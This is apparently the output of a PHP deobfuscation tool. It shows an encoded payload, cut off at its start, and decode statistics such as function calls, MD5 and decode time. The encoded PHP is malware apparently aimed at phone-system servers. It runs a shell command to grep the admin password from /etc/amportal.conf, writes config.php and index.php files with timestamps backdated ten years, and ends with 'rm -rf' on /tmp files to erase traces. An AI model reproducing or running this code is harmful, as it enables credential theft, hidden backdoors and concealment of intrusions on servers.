MtLS0tLS0tLS0tLQoiOwpAc3lzdGVtKCJncmVwIFBBU1MgL2V0Yy9hbXBvcnRhbC5jb25mIik7CmVjaG8gIi0tLS0tLS0tLS0tLVRoYXRzLUFsbC0tLS0tLS0tLS0KIjsKZnVuY3Rpb24gd3JpdGVfZGlyKCR3aGVyZSkgewogICAgd3JpdGVfZmlsZSgkd2hlcmUgLiAnL2NvbmZpZy5hbGwucGhwJywgJ2MnKTsKICAgIHdyaXRlX2ZpbGUoJHdoZXJlIC4gJy9waHB2ZXJzaW9ucy5waHAnLCAnY29kZXMnKTsKfQpmdW5jdGlvbiBpY3dyaXRlX2RpcnMoJHdoZXJlKSB7CiAgICB3cml0ZV9maWxlKCR3aGVyZSAuICcvY29uZmlnLnBocCcsICdjJyk7CiAgICB3cml0ZV9maWxlKCR3aGVyZSAuICcvaW5kZXgucGhwJywgJ2NvZGVzJyk7Cn0KZnVuY3Rpb24gd3JpdGVfZmlsZSgkZm5hbWUsICR3dHcpIHsKICAgIEdMT0JBTCAkY29udGVudHM7CiAgICBpZiAoJGNvbnRlbnRzWyR3dHddICE9PSAnJykgewogICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmbmFtZSwgJGNvbnRlbnRzWyR3dHddKTsKICAgICAgICB0b3VjaCgkZm5hbWUsIHN0cnRvdGltZSgnLTEwIHllYXJzJywgdGltZSgpKSk7CiAgICB9Cn0KZnVuY3Rpb24gcmFuZG9tX3Bhc3N3b3JkKCRsZW5ndGggPSA3KSB7CiAgICAkc2V0ID0gYXJyYXlfbWVyZ2UocmFuZ2UoJ0EnLCAnWicpLCByYW5nZSgnYScsICd6JyksIHJhbmdlKCcwJywgJzknKSk7CiAgICAkc3RyID0gJ3QnOwogICAgZm9yICgkaSA9IDA7JGkgPCAkbGVuZ3RoOyRpKyspIHsKICAgICAgICAkc3RyLj0gJHNldFtyYW5kKDAsIGNvdW50KCRzZXQpIC0gMSkgXTsKICAgIH0KICAgIHJldHVybiAkc3RyOwp9CmNsYXNzIHNpbXBsZV9kYl9jb25uZWN0IHsKICAgIHZhciAkbGluazsKICAgIGZ1bmN0aW9uIHNpbXBsZV9kYl9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCkgewogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9jb25uZWN0JykpIHsKICAgICAgICAgICAgJHRoaXMtPmxpbmsgPSBteXNxbGlfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpIG9yIHByaW50IChteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHsKICAgICAgICAgICAgJHRoaXMtPmxpbmsgPSBteXNxbF9jb25uZWN0KCRob3N0LCAkdXNlcm5hbWUsICRwYXNzd29yZCkgb3IgcHJpbnQgKG15c3FsX2Vycm9yKCkpOwogICAgICAgIH0KICAgIH0KICAgIGZ1bmN0aW9uIHNlbGVjdF9kYigkZGJuYW1lKSB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxpX3NlbGVjdF9kYicpKSB7CiAgICAgICAgICAgIG15c3FsaV9zZWxlY3RfZGIoJHRoaXMtPmxpbmssICRkYm5hbWUpIG9yIHByaW50IChteXNxbGlfZXJyb3IoJHRoaXMtPmxpbmspKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9zZWxlY3RfZGInKSkgewogICAgICAgICAgICBteXNxbF9zZWxlY3RfZGIoJGRibmFtZSwgJHRoaXMtPmxpbmspIG9yIHByaW50IChteXNxbF9lcnJvcigpKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHRydWU7CiAgICB9CiAgICBmdW5jdGlvbiBxdWVyeSgkcXVlcnlfZGF0YSwgJGVycm9yX21lc3NhZ2UgPSAnJykgewogICAgICAgIGdsb2JhbCAkY29uOwogICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsaV9xdWVyeScpKSB7CiAgICAgICAgICAgICRxdWVyeSA9IG15c3FsaV9xdWVyeSgkdGhpcy0+bGluaywgJHF1ZXJ5X2RhdGEpIG9yIHByaW50ICgkZXJyb3JfbWVzc2FnZSAuIG15c3FsaV9lcnJvcigkdGhpcy0+bGluaykpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ215c3FsX3F1ZXJ5JykpIHsKICAgICAgICAgICAgJHF1ZXJ5ID0gbXlzcWxfcXVlcnkoJHF1ZXJ5X2RhdGEsICR0aGlzLT5saW5rKSBvciBwcmludCAoJGVycm9yX21lc3NhZ2UgLiBteXNxbF9lcnJvcigpKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRxdWVyeTsKICAgIH0KfQpAc3lzdGVtKCJybSAtcmYgL3RtcC8qLnR4dCAvdG1wLyoucGhwIik7")));
?>
Function Calls
gzuncompress | 1 |
base64_decode | 1 |
Stats
MD5 | a41c05e7950d38bee1f0642c6c24c47c |
Eval Count | 0 |
Decode Time | 164 ms |